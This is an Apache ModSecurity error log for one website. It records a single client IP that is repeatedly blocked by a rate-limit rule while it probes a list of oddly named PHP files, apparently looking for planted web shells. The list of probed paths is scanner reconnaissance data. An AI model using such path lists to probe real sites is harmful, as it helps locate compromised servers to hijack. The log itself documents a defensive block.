[Tue Mar 17 09:31:39.589559 2026] [:error] [pid 45915:tid 45939] [client 72.146.42.181:9630] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "abiu-5h7U84ydzcrcnc-fwAAAAo"]
[Tue Mar 17 09:31:40.571993 2026] [:error] [pid 45915:tid 45948] [client 72.146.42.181:12331] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "abiu_Jh7U84ydzcrcnc-ggAAABM"]
[Tue Mar 17 09:31:41.537573 2026] [:error] [pid 45915:tid 45938] [client 72.146.42.181:9947] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "abiu_Zh7U84ydzcrcnc-igAAAAk"]
[Tue Mar 17 09:31:42.519972 2026] [:error] [pid 15162:tid 15175] [client 72.146.42.181:12293] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "abiu_rkCW4399PnBfYSfmQAAAkg"]
[Tue Mar 17 09:31:43.451371 2026] [:error] [pid 45916:tid 45974] [client 72.146.42.181:12339] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "abiu_7iS53PnClk_C9BMxAAAAEw"]
[Tue Mar 17 09:31:44.252574 2026] [:error] [pid 45916:tid 45973] [client 72.146.42.181:1172] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp6.php"] [unique_id "abivALiS53PnClk_C9BMyAAAAEs"]
[Tue Mar 17 09:31:45.334969 2026] [:error] [pid 15162:tid 15184] [client 72.146.42.181:36563] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp6.php"] [unique_id "abivAbkCW4399PnBfYSfmwAAAlE"]
[Tue Mar 17 09:31:46.172178 2026] [:error] [pid 15011:tid 15059] [client 72.146.42.181:36547] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp6.php"] [unique_id "abivAsNtgHlAHiPlDyoX0wAAAco"]
[Tue Mar 17 09:31:48.252112 2026] [:error] [pid 15013:tid 15087] [client 72.146.42.181:55600] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp6.php"] [unique_id "abivBFZc-p7DonmJmm2sFgAAAgo"]
[Tue Mar 17 09:31:48.803575 2026] [:error] [pid 15013:tid 15093] [client 72.146.42.181:1192] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "abivBFZc-p7DonmJmm2sGQAAAhA"]
[Tue Mar 17 09:31:49.650508 2026] [:error] [pid 45915:tid 45932] [client 72.146.42.181:13145] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "abivBZh7U84ydzcrcnc-mgAAAAM"]
[Tue Mar 17 09:31:50.612293 2026] [:error] [pid 15013:tid 15079] [client 72.146.42.181:1470] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "abivBlZc-p7DonmJmm2sHQAAAgI"]
[Tue Mar 17 09:31:51.528324 2026] [:error] [pid 15162:tid 15188] [client 72.146.42.181:22051] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "abivB7kCW4399PnBfYSfngAAAlU"]
[Tue Mar 17 09:31:53.139549 2026] [:error] [pid 45916:tid 45968] [client 72.146.42.181:12613] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "abivCbiS53PnClk_C9BM1QAAAEY"]
[Tue Mar 17 09:31:54.102119 2026] [:error] [pid 14817:tid 14835] [client 72.146.42.181:13123] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "abivCuBWVgTpR3dKOga3IwAAAUk"]
[Tue Mar 17 09:31:55.730944 2026] [:error] [pid 14817:tid 14843] [client 72.146.42.181:11408] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "abivC-BWVgTpR3dKOga3JwAAAVE"]
[Tue Mar 17 09:31:57.753616 2026] [:error] [pid 45916:tid 45983] [client 72.146.42.181:1458] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/44.php"] [unique_id "abivDbiS53PnClk_C9BM3wAAAFU"]
[Tue Mar 17 09:31:59.259983 2026] [:error] [pid 45915:tid 45947] [client 72.146.42.181:13156] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bwjjt.php"] [unique_id "abivD5h7U84ydzcrcnc-qwAAABI"]
[Tue Mar 17 09:31:59.779188 2026] [:error] [pid 46020:tid 46032] [client 72.146.42.181:1656] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bwjjt.php"] [unique_id "abivD3-nCcd9BdzGdLdM9wAAAMo"]
[Tue Mar 17 09:32:00.458455 2026] [:error] [pid 45916:tid 45982] [client 72.146.42.181:1619] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bwjjt.php"] [unique_id "abivELiS53PnClk_C9BM5wAAAFQ"]
[Tue Mar 17 09:32:01.663801 2026] [:error] [pid 46020:tid 46039] [client 72.146.42.181:1438] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bwjjt.php"] [unique_id "abivEX-nCcd9BdzGdLdM-AAAANE"]
[Tue Mar 17 09:32:02.214559 2026] [:error] [pid 45916:tid 45964] [client 72.146.42.181:1293] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "abivEriS53PnClk_C9BM6QAAAEI"]
[Tue Mar 17 09:32:03.700283 2026] [:error] [pid 45916:tid 45966] [client 72.146.42.181:18976] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "abivE7iS53PnClk_C9BM7wAAAEQ"]
[Tue Mar 17 09:32:04.202441 2026] [:error] [pid 45916:tid 45981] [client 72.146.42.181:31235] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "abivFLiS53PnClk_C9BM8gAAAFM"]
[Tue Mar 17 09:32:05.257383 2026] [:error] [pid 15162:tid 15170] [client 72.146.42.181:20001] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "abivFbkCW4399PnBfYSfpwAAAkM"]
[Tue Mar 17 09:32:06.191993 2026] [:error] [pid 45915:tid 45933] [client 72.146.42.181:18961] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "abivFph7U84ydzcrcnc-swAAAAQ"]
[Tue Mar 17 09:32:07.012685 2026] [:error] [pid 22541:tid 22552] [client 72.146.42.181:31267] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "abivF6S6JNY1-CTsTA9JaQAAAQY"]
[Tue Mar 17 09:32:08.049608 2026] [:error] [pid 45915:tid 45953] [client 72.146.42.181:1338] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "abivGJh7U84ydzcrcnc-uwAAABg"]
[Tue Mar 17 09:32:09.300227 2026] [:error] [pid 15162:tid 15174] [client 72.146.42.181:12650] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "abivGbkCW4399PnBfYSfqQAAAkc"]
[Tue Mar 17 09:32:10.297214 2026] [:error] [pid 46020:tid 46023] [client 72.146.42.181:1321] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "abivGn-nCcd9BdzGdLdM_gAAAME"]
[Tue Mar 17 09:32:11.678885 2026] [:error] [pid 15013:tid 15085] [client 72.146.42.181:37717] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "abivG1Zc-p7DonmJmm2sLgAAAgg"]
[Tue Mar 17 09:32:13.064431 2026] [:error] [pid 15013:tid 15093] [client 72.146.42.181:19525] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "abivHVZc-p7DonmJmm2sNgAAAhA"]
[Tue Mar 17 09:32:14.032953 2026] [:error] [pid 15011:tid 15052] [client 72.146.42.181:32398] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "abivHsNtgHlAHiPlDyoX3AAAAcM"]
[Tue Mar 17 09:32:14.669535 2026] [:error] [pid 45915:tid 45945] [client 72.146.42.181:12642] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc13.php"] [unique_id "abivHph7U84ydzcrcnc-wQAAABA"]
[Tue Mar 17 09:32:15.421913 2026] [:error] [pid 14817:tid 14832] [client 72.146.42.181:20029] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc13.php"] [unique_id "abivH-BWVgTpR3dKOga3OgAAAUY"]
[Tue Mar 17 09:32:16.284994 2026] [:error] [pid 45915:tid 45950] [client 72.146.42.181:18967] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cc13.php"] [unique_id "abivIJh7U84ydzcrcnc-wwAAABU"]
[Tue Mar 17 09:32:23.634116 2026] [:error] [pid 22541:tid 22548] [client 72.146.42.181:24001] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "abivJ6S6JNY1-CTsTA9JjAAAAQI"]
[Tue Mar 17 09:32:27.261709 2026] [:error] [pid 15013:tid 15089] [client 72.146.42.181:36498] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "abivK1Zc-p7DonmJmm2sRQAAAgw"]
[Tue Mar 17 09:32:30.549926 2026] [:error] [pid 45916:tid 45982] [client 72.146.42.181:12040] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "abivLriS53PnClk_C9BNEQAAAFQ"]
[Tue Mar 17 09:32:32.025695 2026] [:error] [pid 14817:tid 14850] [client 72.146.42.181:39744] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "abivMOBWVgTpR3dKOga3RwAAAVg"]
[Tue Mar 17 09:32:33.010637 2026] [:error] [pid 45915:tid 45949] [client 72.146.42.181:40758] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/temp1.php"] [unique_id "abivMZh7U84ydzcrcnc-5gAAABQ"]
[Tue Mar 17 09:32:33.707273 2026] [:error] [pid 15013:tid 15090] [client 72.146.42.181:39463] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/temp1.php"] [unique_id "abivMVZc-p7DonmJmm2sSwAAAg0"]
[Tue Mar 17 09:32:34.378926 2026] [:error] [pid 45915:tid 45949] [client 72.146.42.181:47949] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/temp1.php"] [unique_id "abivMph7U84ydzcrcnc-8AAAABQ"]
[Tue Mar 17 09:32:36.055679 2026] [:error] [pid 45916:tid 45970] [client 72.146.42.181:36001] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/temp1.php"] [unique_id "abivNLiS53PnClk_C9BNFQAAAEg"]
[Tue Mar 17 09:32:36.636143 2026] [:error] [pid 22541:tid 22563] [client 72.146.42.181:22620] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "abivNKS6JNY1-CTsTA9JlgAAARE"]
[Tue Mar 17 09:32:37.322447 2026] [:error] [pid 22541:tid 22567] [client 72.146.42.181:9366] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "abivNaS6JNY1-CTsTA9JnQAAARU"]
[Tue Mar 17 09:32:38.067631 2026] [:error] [pid 14817:tid 14846] [client 72.146.42.181:16185] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "abivNuBWVgTpR3dKOga3SwAAAVQ"]
[Tue Mar 17 09:32:39.379047 2026] [:error] [pid 45915:tid 45951] [client 72.146.42.181:14619] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "abivN5h7U84ydzcrcnc-9QAAABY"]
[Tue Mar 17 09:32:40.118468 2026] [:error] [pid 45915:tid 45952] [client 72.146.42.181:33683] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ocdzo.php"] [unique_id "abivOJh7U84ydzcrcnc-9wAAABc"]
[Tue Mar 17 09:32:41.320647 2026] [:error] [pid 45915:tid 45942] [client 72.146.42.181:27681] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ocdzo.php"] [unique_id "abivOZh7U84ydzcrcnc-_gAAAA0"]
[Tue Mar 17 09:32:42.963684 2026] [:error] [pid 45915:tid 45939] [client 72.146.42.181:11192] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ocdzo.php"] [unique_id "abivOph7U84ydzcrcnc_CAAAAAo"]
[Tue Mar 17 09:32:44.589758 2026] [:error] [pid 45915:tid 45936] [client 72.146.42.181:37333] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ocdzo.php"] [unique_id "abivPJh7U84ydzcrcnc_DQAAAAc"]
[Tue Mar 17 09:32:47.565499 2026] [:error] [pid 14929:tid 14955] [client 72.146.42.181:37359] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yitlu.php"] [unique_id "abivP_TUDuLSLjNnyaurBAAAAZM"]
[Tue Mar 17 09:32:49.944041 2026] [:error] [pid 15013:tid 15095] [client 72.146.42.181:10200] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yitlu.php"] [unique_id "abivQVZc-p7DonmJmm2sVQAAAhI"]
[Tue Mar 17 09:32:51.614468 2026] [:error] [pid 15011:tid 15059] [client 72.146.42.181:10443] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yitlu.php"] [unique_id "abivQ8NtgHlAHiPlDyoX5gAAAco"]
[Tue Mar 17 09:32:56.979415 2026] [:error] [pid 15162:tid 15180] [client 72.146.42.181:9439] [client 72.146.42.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yitlu.php"] [unique_id "abivSLkCW4399PnBfYSf1AAAAk0"]
